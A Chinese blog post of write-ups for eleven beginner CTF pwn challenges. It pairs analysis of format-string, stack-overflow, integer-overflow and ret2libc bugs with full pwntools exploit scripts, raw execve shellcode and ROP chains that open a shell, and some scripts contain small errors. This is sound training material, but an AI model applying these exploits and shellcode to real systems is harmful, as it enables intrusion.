攻防世界新手練習(xí)pwn

0x00 get_shell

 nc 連接得到flag

0x01 CGfsb

首先檢查保護

image.png

在進IDA f5，發(fā)現(xiàn)將pwnme=8即可得到flag。
漏洞點：格式化字符漏洞，printf()函數(shù)使用不當(dāng)，造成任意內(nèi)存讀寫
image.png

查看pwnme地址如下，發(fā)現(xiàn)它是bss字段定義的全局變量
image.png

nc連接輸入信息為aaaa加很多個控制字符發(fā)現(xiàn)pwnme的偏移量為10

image.png

pwnme地址本身占4個字節(jié)再加上4個字符使pwnme==8，得到flag。

exp:

from pwn import *
#p=remote('111.198.29.45',38899)
p=process('./cgfsb')
pwnme_addr=0x0804a068
payload=p32(pwnme_addr)+'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline('aaaaaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print p.recv() 
print p.recv()

0x02 when_did_you_born

首先查看保護


image.png

看到birth=1926就可以得到flag,但是過濾了1926,又發(fā)現(xiàn)gets()沒有對輸入檢查，可以造成溢出。一直填充到v5,使v5=1926即可得到flag.


image.png

分別雙擊v4，v5看到，v4為var_20，v5為var_18，相差了8個字符 ,所以構(gòu)造payload= payload='a'*8+p64(0x786)

image.png

exp:

from pwn import *
#p=process('./when_did_you_born')
p=remote('111.198.29.45',47814)
p.recvuntil("?")
p.sendline("1925")
p.recvuntil("?")
payload='a'*8+p32(0x786)
p.sendline(payload)
p.interactive()

0x03 hello_pwn

老規(guī)矩，先查看文件保護,然后IDA打開


image.png

如果ift條件為真，進入sub_60106c就可得到flag。


image.png

進入unk_691968和dword_60106c偏移量為4,并且沒有大于read函數(shù)的范圍限制，所以我們構(gòu)造payload=‘a(chǎn)'*4+p64(1853186401)就可以覆蓋dword_60106c使if為真。
image.png

exp:

from pwn import *
p=process('./hello_pwn')
p=('111.198.29.45',55581)
payload = 'a'*4+p64(18533186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

0x04 level0

檢查保護機制，拖進IDA


image.png

看到vulnerable_function()函數(shù)存在溢出, buf的長度為0x80，但是可以輸入0x200的長度。我們F12可以搜素到system和sh字符，得到系統(tǒng)函數(shù)的地址。所以我們構(gòu)造payload在buf后面調(diào)用系統(tǒng)函數(shù)得到shell。r然后cat flag得到flag.


image.png

exp如下： 
from pwn import *
p=remote('111.198.29.45',55317)
#p = process('./level0')
sys_addr = 0x0400320
sh_addr = 0x0400596
payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr)
p.recvuntil("Hello, World")
p.sendline(payload)
p.interactive()

0x05 level2

首先查看保護機制，IDA打開



發(fā)現(xiàn)溢出點buf,buf的長度為0x88,可輸入0x100的長度。通過ELF搜素system和/bin/sh地址，構(gòu)造payload，得到shell。


image.png

exp:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level='debug'
elf=ELF('./level2')        

sys_addr=elf.symbols['system']  #獲取系統(tǒng)函數(shù)地址
sh_addr=elf.search('/bin/sh').next()   #獲取'/bin/sh'字符串地址
payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr)

pwn=remote('111.198.29.45',42668)
#pwn = process('./level2')
pwn.sendlineafter("Input:\n",payload)
pwn.interactive()
pwn.close()

0x06 string

首先檢查保護機制


image.png

拖進IDA，這道題字符是真滴多，先分析邏輯。根據(jù)提示一步一步往下走?？吹絪ub_400CA6函數(shù)，只要a1[0]=a1[1]就符合要求,并且發(fā)現(xiàn)將V1一個void指針強制類型轉(zhuǎn)換成函數(shù)指針并調(diào)用了，所以我們將shellcode通過上面的read寫入就會得到shell。


image.png

一直跟回去發(fā)現(xiàn)a1[0]=65，a1[1]=85。
那現(xiàn)在目標(biāo)明確了，找到漏洞點，在內(nèi)存中將a1[0]值改為85就找到漏洞點在sub_400BB9的printf函數(shù)，格式化字符串漏洞。造成任意地址讀寫。


image.png

找到format的偏移量為7。構(gòu)造payload = "%85d%7$n"。


image.png

exp:

from pwn import *
p = remote('111.198.29.45',49698)
#p = process('./string1')
p.recvuntil("secret[0] is ")
v3_addr=p.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address = eval(v3_addr)
p.recvuntil("What should your character's name be:")
p.sendline('Adam')

p.recvuntil('So, where you will go?east or up?:')
p.sendline('east')

p.recvuntil('go into there(1), or leave(0)?:')
p.sendline('1')
p.recvuntil('Give me an address')
p.send(str(v3_address)+"\n")
p.recvuntil("you wish is:\n")

payload = "%85d%7$n"
p.sendline(payload)

#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

0x07 guess_num

檢查保護


image.png

IDA打開，邏輯是十次輸入的數(shù)都要與隨機生成的數(shù)相等就運行sub_C3E()得到flag，所以我們想辦法修改隨機數(shù)種子，讓每次生成的數(shù)都一樣就可以了。


image.png

那么我們可以利用的是get函數(shù)，對輸入沒有限制，并且v7與seed的地址是連續(xù)的，所以直接覆蓋seed。查看V7的長度為32個字節(jié)，構(gòu)造payload = 'a'*32+p64(1)。

exp:

from pwn import *
from ctypes import *

p = remote('111.198.29.45',36915)
#p = process('./guess_num')

p.recvuntil("Your name:")

payload = 'a'*32+p64(1)

p.sendline(payload)
//使用ctypes庫調(diào)用libc.so.6來使用srand()和rand()
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
for i in range(10):
    a = str(libc.rand()%6+1)
    p.recvuntil('Please input your guess number:')
    p.sendline(a)
p.interactive()

0x08 cgpwn2

首先檢查保護


image.png

IDA分析，看到main函數(shù)里gets(）可以溢出，并且name是在bss上的全局變量。

image.png

找到system的地址為0x08048420。shift+F12找不到‘/bin/sh’，所以將name輸入/bin/sh，再次訪問name的值不會變，name的地址就作為sh的地址。現(xiàn)在需要找s的偏移量為38+4。構(gòu)造payload=‘a(chǎn)'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二個p32里隨便輸入。

exp:

from pwn import *

p = remote('111.198.29.45',56035)
#p = process('./cgpwn2')

sys_addr = 0x08048420
sh_addr = 0x0804A080

payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr)

p.recvuntil('please tell me your name')
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)
p.interactive()

0x09 int_overflow

首先檢查保護機制


image.png

拖進IDA，分析邏輯。發(fā)現(xiàn)check_passwd()中v3為int8型，在下面的check中也是檢查v3的長度，根據(jù)有題目名稱，想到v3的大小溢出,int8型最大值為2^8=256,超出之后進行模256的計算。


image.png

所以我們在輸入passwd的時候?qū)⑤斎腴L度為 [259,263]之間就可以了，再利用后面的strcpy()函數(shù)，因為將s復(fù)制給dest,看到dest的偏移為0x14+0x04，再搜索sh函數(shù)得到sh地址,構(gòu)造payload = 'a'*(0x14+0x4)+p32(sh_addr)。得到shell。

exp:

from pwn import *

p = remote('111.198.29.45',39063)
#p = process('./int_overflow')


sh_addr = 0x0804868B

p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Please input your username:")
p.sendline('Adam')


payload = 'a'*(0x14+0x4)+p32(sh_addr)
payload = payload.ljust(263,'b')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()

0x10 level3

首先檢查保護機制

image.png

拖進IDA，很明顯的漏洞點，read溢出，但是找不到system,/bin/sh的地址。F12查看字符串。發(fā)現(xiàn) libc start_main。
image.png

因為system是libc.so動態(tài)鏈接庫的函數(shù)。而且在動態(tài)鏈接庫中函數(shù)之間的偏移是固定的。即使程序有 ASLR 保護，也只是針對于地址中間位進行隨機，最低的 12 位并不會發(fā)生改變。
首先，利用找到write的真實地址，然后利用這個地址算出偏移量，這里貼個計算libc的工具。找到offest之后,就可以得到system的地址和bin/sh的地址了。

exp:

#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import *

#p = process('./level3')
p = remote('111.198.29.45',48981)
elf = ELF('./level3')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recv()
p.sendline(payload)

write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)

offest = write_addr - libc.dump('write')

sys_addr = offest + libc.dump('system')
sh_addr = offest +libc.dump('str_bin_sh')

payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr)
p.recv()

p.sendline(payload2)
p.interactive()
最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成，瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明：文章內(nèi)容（如有圖片或視頻亦包括在內(nèi)）由作者上傳并發(fā)布，文章內(nèi)容僅代表作者本人觀點，簡書系信息發(fā)布平臺，僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 0x01 Start checksec 的時候可以看到程序沒有打開任何的安全保護措施，然后查看IDA下的匯編代碼，...
    Nevv閱讀 1,755評論 0贊 2
  • 一、bugkuctf pwn4（棧，ROP，system($0)） 圖1很容易看出來read函數(shù)棧溢出 緊接著就是...
    ywledoc閱讀 1,823評論 0贊 1
  • 參考文章： 關(guān)于heap overflow的一些筆記 by ETenal [CTF]Heap vuln -- u...
    BJChangAn閱讀 2,828評論 2贊 5
  • 文/馬克蘇 理想，大概是每個人都想過并且追尋的東西吧。它就像你的影子，你向前它也會跟你向前，你停下腳步，它也便停滯...
    趙不渝閱讀 595評論 2贊 2
  • 批評與自我批評會不會是這個世上最大的謊言？ 我們一直主張批評與自我批評，我們說良藥苦口，我們要求自己也要求周圍的人...
    青茶竹酒閱讀 178評論 0贊 0

友情鏈接更多精彩內(nèi)容